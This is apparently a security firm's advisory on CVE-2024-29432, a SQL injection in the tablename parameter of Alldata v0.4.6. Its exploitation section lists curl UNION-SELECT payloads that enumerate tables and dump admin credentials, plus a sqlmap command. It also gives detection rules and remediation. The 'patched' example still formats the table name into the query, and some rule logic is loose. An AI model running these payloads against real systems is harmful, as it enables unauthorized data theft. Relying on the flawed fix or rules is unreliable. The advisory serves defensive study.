CVE-2024-29432

Executive Summary

CVE-2024-29432 is a critical SQL injection vulnerability discovered in Alldata v0.4.6, specifically within the /data/masterdata/datas endpoint. The vulnerability is triggered via the tablename parameter, allowing an unauthenticated attacker to inject arbitrary SQL commands. This can lead to unauthorized data access, data exfiltration, and potential full database compromise. The vulnerability has a public proof-of-concept (PoC) but no official patch is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the ease of exploitation.

Supply Chain & Package Security

Alldata is a data management platform. The vulnerability exists in the core application, not in a third-party package. However, organizations using Alldata should treat this as a critical supply chain risk, as the software may be used to manage sensitive data.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability type (SQL injection) and the lack of authentication requirements, a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows for complete database compromise with no authentication.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the tablename parameter of the /data/masterdata/datas endpoint. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterization. For example, the backend might execute a query like:

SELECT * FROM [tablename] WHERE ...

An attacker can manipulate the tablename parameter to break out of the intended query structure and execute arbitrary SQL. This can be used to extract data from other tables, modify data, or execute administrative operations.

Root Cause: Lack of input validation and prepared statements.

Attack Vector: HTTP GET or POST request to /data/masterdata/datas?tablename=INJECTION.

Vulnerable vs. Patched Code

Vulnerable Code (Alldata v0.4.6):

# Example vulnerable Python code
def get_data(tablename):
    query = f"SELECT * FROM {tablename} WHERE 1=1"
    cursor.execute(query)
    return cursor.fetchall()

Patched Code (Hypothetical):

# Patched code using parameterized queries
def get_data(tablename):
    # Validate tablename against a whitelist
    allowed_tables = ['users', 'orders', 'products']
    if tablename not in allowed_tables:
        raise ValueError("Invalid table name")
    query = "SELECT * FROM {} WHERE 1=1".format(tablename)
    cursor.execute(query)
    return cursor.fetchall()

Note: The official patch is unknown. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Alldata v0.4.6 instance running on a target.
• Network access to the /data/masterdata/datas endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target.com/data/masterdata/datas?tablename=users"
   

2. Test for SQL injection:

   curl "http://target.com/data/masterdata/datas?tablename=users'"
   

   If an error is returned, the endpoint is likely vulnerable.

3. Extract database version:

   curl "http://target.com/data/masterdata/datas?tablename=users UNION SELECT @@version,2,3--"
   

4. Enumerate tables:

   curl "http://target.com/data/masterdata/datas?tablename=users UNION SELECT table_name,2,3 FROM information_schema.tables--"
   

5. Dump credentials:

   curl "http://target.com/data/masterdata/datas?tablename=users UNION SELECT username,password,3 FROM admin_users--"
   

Automated Exploitation (using sqlmap):

sqlmap -u "http://target.com/data/masterdata/datas?tablename=users" --batch --dbs

Blue Team

Detection Steps:

1. Monitor for anomalous SQL errors: Look for database error messages in logs (e.g., MySQL syntax error).
2. Detect UNION-based injection patterns: Monitor for UNION SELECT in HTTP parameters.
3. Rate-limit requests: Implement rate limiting on the /data/masterdata/datas endpoint.
4. Web Application Firewall (WAF): Deploy a WAF with SQL injection signatures.

Lab Setup:

• Victim: Docker container running Alldata v0.4.6.
• Attacker: Kali Linux with sqlmap and curl.
• Network: Isolated lab network.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /data/masterdata/datas with tablename parameter containing SQL keywords (UNION, SELECT, FROM, WHERE, ', --).
  • Unusual database error messages in HTTP responses (e.g., You have an error in your SQL syntax).

• File IOCs:

  • Log entries showing SQL injection attempts.
  • Unexpected database dumps or exports.

• System IOCs:

  • Unauthorized database queries from the Alldata application user.
  • Increased database CPU/memory usage during exploitation.

Detection Engineering

YARA Rule

rule CVE_2024_29432_SQLi_Alldata {
    meta:
        description = "Detects SQL injection attempts targeting Alldata v0.4.6"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-29432"
    strings:
        $sqli1 = "tablename="
        $sqli2 = "UNION"
        $sqli3 = "SELECT"
        $sqli4 = "FROM"
        $sqli5 = "'"
        $sqli6 = "--"
    condition:
        all of ($sqli1, $sqli2, $sqli3, $sqli4) or
        all of ($sqli1, $sqli5, $sqli6)
}

Sigma Rule

title: CVE-2024-29432 SQL Injection in Alldata
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Alldata v0.4.6
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'tablename='
            - 'UNION'
            - 'SELECT'
            - 'FROM'
            - "'"
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of table names containing these strings
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-29432 SQL Injection Attempt"; flow:to_server,established; content:"tablename="; http_uri; content:"UNION"; http_uri; content:"SELECT"; http_uri; content:"FROM"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect Alldata v0.4.6 from the network until a patch is applied.
2. Implement input validation: Whitelist allowed table names on the server side.
3. Use parameterized queries: Rewrite the database access code to use prepared statements.

Long-term Fix:

• Upgrade to a patched version of Alldata once available.
• Conduct a full security audit of the application.

Workarounds:

• Deploy a WAF with SQL injection rules.
• Restrict access to the /data/masterdata/datas endpoint via firewall rules.

Valters IT
Securing Your Digital Frontier